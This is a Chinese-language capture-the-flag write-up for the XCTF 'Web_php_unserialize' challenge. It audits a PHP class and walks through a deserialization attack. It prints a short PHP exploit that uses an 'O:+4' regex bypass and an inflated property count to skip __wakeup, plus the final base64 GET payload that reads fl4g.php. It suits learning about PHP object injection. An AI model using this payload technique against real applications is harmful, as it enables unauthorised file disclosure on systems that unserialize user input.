攻防世界_Web_php_unserialize(绕过php反序列/绕过wakeup函数/代码审计)

embedded/2025/2/5 13:41:47/

php代码审计

Demo类的魔术函数

  • __construct() 函数,当类新建对象的时候会执行。例如,$x = new Demo(要传给函数的值)
  • __destruct() 函数,当对象销毁后会调用。新建对象后,先执行__construct() 函数,等所有函数执行完后就会执行该函数
  • __wakeup() 函数,会伴随反序列函数unserialize()的执行而先执行,也就是说,当执行反序列化函数的时候会先执行wakeup函数
  • highlight_file() 函数,用来输出指定PHP文件的代码
  • preg_match() 函数用来匹配一个正则表达,匹配上了就返回true,上面代码正则匹配的是不区分大小写的o:数字或者是c:数字,用来干扰反序列化的

  • unserialize() 函数用来反序列化字符串,将字符串反序列化成PHP代码

第一部分

 

类的属性
private $file = 'index.php';
  • 定义了一个私有属性 $file,并初始化为 'index.php'。私有属性只能在类的内部访问。
构造函数 __construct
public function __construct($file) { $this->file = $file; 
}
  • __construct 当创建 Demo 类的对象时会自动调用。
  • 它接收一个参数 $file,并将其赋值给类的私有属性 $this->file,从而可以在对象创建时指定 $file 的值。
析构函数 __destruct
function __destruct() { echo @highlight_file($this->file, true); 
}
  • __destruct 当对象被销毁时会自动调用。
  • highlight_file() 用于对指定文件的代码进行语法高亮显示。@ 是错误抑制符,用于抑制可能出现的错误信息。true 表示将高亮显示的结果作为字符串返回,而不是直接输出。这里将结果通过 echo 输出。
__wakeup 方法
function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php';}
}
  • __wakeup 是 PHP 的魔术方法,当使用 unserialize() 函数反序列化对象时会自动调用。
  • 该方法检查 $this->file 的值是否不等于 'index.php',如果不等于,则将其重置为 'index.php'。注释提示了秘密信息在 fl4g.php 文件中

第二部分

 

1.检查 $_GET['var'] 是否存在

if (isset($_GET['var'])) { 

2. $_GET['var'] 进行 Base64 解码

$var = base64_decode($_GET['var']); 

base64_decode() 函数用于对 Base64 编码的字符串进行解码。将用户通过 GET 请求传递的 var 参数进行解码,并将结果赋值给变量 $var

3.正则表达式检查

if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); 
}
  • preg_match() 用于在字符串中查找是否存在与指定正则表达式匹配的内容。
  • 正则表达式 /[oc]:\d+:/i 的含义如下:
    • [oc]:匹配字符 oc,不区分大小写(因为使用了 i 修饰符)。
    • ::匹配冒号字符。
    • \d+:匹配一个或多个数字字符。
    • ::再次匹配冒号字符。
  • 如果解码后的字符串 $var 中包含这样的模式,说明可能存在反序列化漏洞攻击的风险,脚本会终止执行并输出 stop hacking!

4.尝试反序列化

else {@unserialize($var); 
}

如果解码后的字符串不包含上述正则表达式匹配的模式,使用 unserialize() 函数对其进行反序列化操作。@ 是错误抑制符,用于抑制可能出现的错误信息。

5.没有传递 var 参数的情况

} else { highlight_file("index.php"); 
}

如果没有通过 GET 请求传递 var 参数,使用 highlight_file() 函数对 index.php 文件的代码进行语法高亮显示并输出

 

思路分析

注释提示了秘密信息在 fl4g.php 文件中,可能为flag

通过get的方式用var传参fl4g.php执行该代码的highlight_file函数,但是需要绕过里面会造成干扰的几个函数

  •     将传的参数进行base64编码,绕过base64_decode函数      
    • 进行base64加密         base64_encode($a)
  •     在反序列化串的O:前加个加号“+”,绕过preg_match函数
    • 把'O:4'替换成 'O:+4'         $a = str_replace('O:4', 'O:+4',$a);  
  •     修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数
    • 将1替换成2        $a = str_replace(':1:', ':2:',$a);

 

<?php
class Demo {                              //定义Demo类private $file = 'fl4g.php';           //定义私有属性 $file其值等于'fl4g.php'
}
$a = serialize(new Demo);                 //创建new Demo进行序列化操作,结果赋值给变量 $a
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

 $a = serialize(new Demo);                

new 用于创建对象的关键字,new Demo是创建一个 Demo 类的对象。对 Demo 类进行序列化操作,并将序列化后的结果赋值给变量 $a

serialize() 函数
将 PHP 的值转换为一个可以存储或传输的字符串表示形式,这个过程就叫做序列化。序列化后的数据可以方便地进行存储(如保存到文件或数据库),或者在网络上进行传输。当需要使用这个对象时,可以使用 unserialize() 函数将序列化后的字符串还原为原来的对象。

 $a = str_replace('O:4', 'O:+4',$a);     

$aDemo 类对象序列化后的字符串。在 PHP 序列化字符串中,O:4 通常表示这是一个对象(O 代表对象),4 表示对象所属类名的长度。将 O:4 替换为 O:+4 可能是为了绕过某些反序列化的检查机制。

在字符串 $a 中查找所有的 O:4 子字符串,并将它们替换为 O:+4,然后将替换后的新字符串重新赋值给变量 $a

str_replace() 用于字符串替换。

语法为:str_replace($search, $replace, $subject, $count = null);

  • $search:要查找的字符串或字符串数组。在这个例子中,$search 的值是 'O:4'
  • $replace:用于替换查找到的字符串的字符串或字符串数组。这里 $replace 的值是 'O:+4'
  • $subject:要进行查找和替换操作的目标字符串或字符串数组。此代码里 $subject 为变量 $a
  • $count(可选):如果提供了这个参数,它将被设置为替换发生的次数。

$a = str_replace(':1:', ':2:',$a);

在字符串 $a 里查找所有的 :1: 子字符串,将其替换为 :2:,再把替换后的新字符串重新赋值给变量 $a

str_replace() 函数

str_replace() 函数的基本语法是 str_replace($search, $replace, $subject, $count = null)

  • $search':1:',即要查找的目标子字符串。
  • $replace':2:',也就是用于替换的字符串。
  • $subject 是变量 $a,表示要进行查找和替换操作的字符串。
  • $count 未提供,因此不会统计替换发生的次数。

如果序列化字符串中表示对象属性个数的值被修改为比实际属性个数大,__wakeup 方法将不会被调用。所以将 :1: 替换为 :2: 可能就是为了利用这个漏洞来绕过 __wakeup 方法的检查

在线php代码运行php代码运行工具

GET传参构造

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得flag


                        
参考链接:攻防世界之Web_php_unserialize


http://www.ppmy.cn/embedded/159767.html

相关文章

axios如何利用promise无痛刷新token

目录 需求 需求解析 实现思路 方法一&#xff1a; 方法二&#xff1a; 两种方法对比 实现 封装axios基本骨架 instance.interceptors.response.use拦截实现 问题和优化 如何防止多次刷新token 同时发起两个或以上的请求时&#xff0c;其他接口如何重试 最后完整代…

Python从0到100(八十七):CNN网络详细介绍及WISDM数据集模型仿真

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

关于算尽圆周率

总有人提到圆周率算尽的问题&#xff0c;其实代码都已经在前面给出了&#xff0c;自己跑一下就明白了。 用语言描述的话&#xff0c;那就是&#xff1a; 前面几篇文章已经写清楚了&#xff0c;圆周率的本质就是无限分辨率前提下的可二分度量单位。 就像是自然对数底&#xf…

信息学奥赛一本通 2101:【23CSPJ普及组】旅游巴士(bus) | 洛谷 P9751 [CSP-J 2023] 旅游巴士

【题目链接】 ybt 2101&#xff1a;【23CSPJ普及组】旅游巴士(bus) 洛谷 P9751 [CSP-J 2023] 旅游巴士 【题目考点】 1. 图论&#xff1a;求最短路Dijkstra, SPFA 2. 动态规划 3. 二分答案 4. 图论&#xff1a;广搜BFS 【解题思路】 解法1&#xff1a;Dijkstra堆优化 …

Redis真的是单线程的吗?

在学习redis的过程中老是听到&#xff1a;Redis快的原因之一是单线程模型&#xff0c;省去线程切换和竞争的性能开销&#xff0c;但是深入了解redis之后发现它并不是纯的单线程。 Redis 单线程指的是「接收客户端请求->解析请求 ->进行数据读写等操作->发送数据给客户…

数据降维技术研究:Karhunen-Loève展开与快速傅里叶变换的理论基础及应用

在现代科学计算和数据分析领域&#xff0c;数据降维与压缩技术对于处理高维数据具有重要意义。本文主要探讨两种基础而重要的数学工具&#xff1a;Karhunen-Love展开&#xff08;KLE&#xff09;和快速傅里叶变换&#xff08;FFT&#xff09;。通过分析这两种方法的理论基础和应…

Python - pyautogui库 模拟鼠标和键盘执行GUI任务

安装库&#xff1a; pip install pyautogui 导入库&#xff1a;import pyautogui 获取屏幕尺寸&#xff1a; s_width, s_height pyautogui.size() 获取鼠标当前位置&#xff1a; x, y pyautogui.position() 移动鼠标到指定位置&#xff08;可以先使用用上一个函数调试获取当…

【读书笔记】万字浅析游戏场景中常见的渲染性能优化手段

一、前言 看标题大伙想必应该知道了这是个读书笔记&#xff0c;所以大佬看个乐就完了&#xff0c;主要还是新人用来做记录的&#xff0c;主要参考的是霜狼大佬的书《游戏场景开发与设计》&#xff0c;当然了&#xff0c;笔记肯定不是单纯照着抄一遍&#xff0c;那样没有任何意…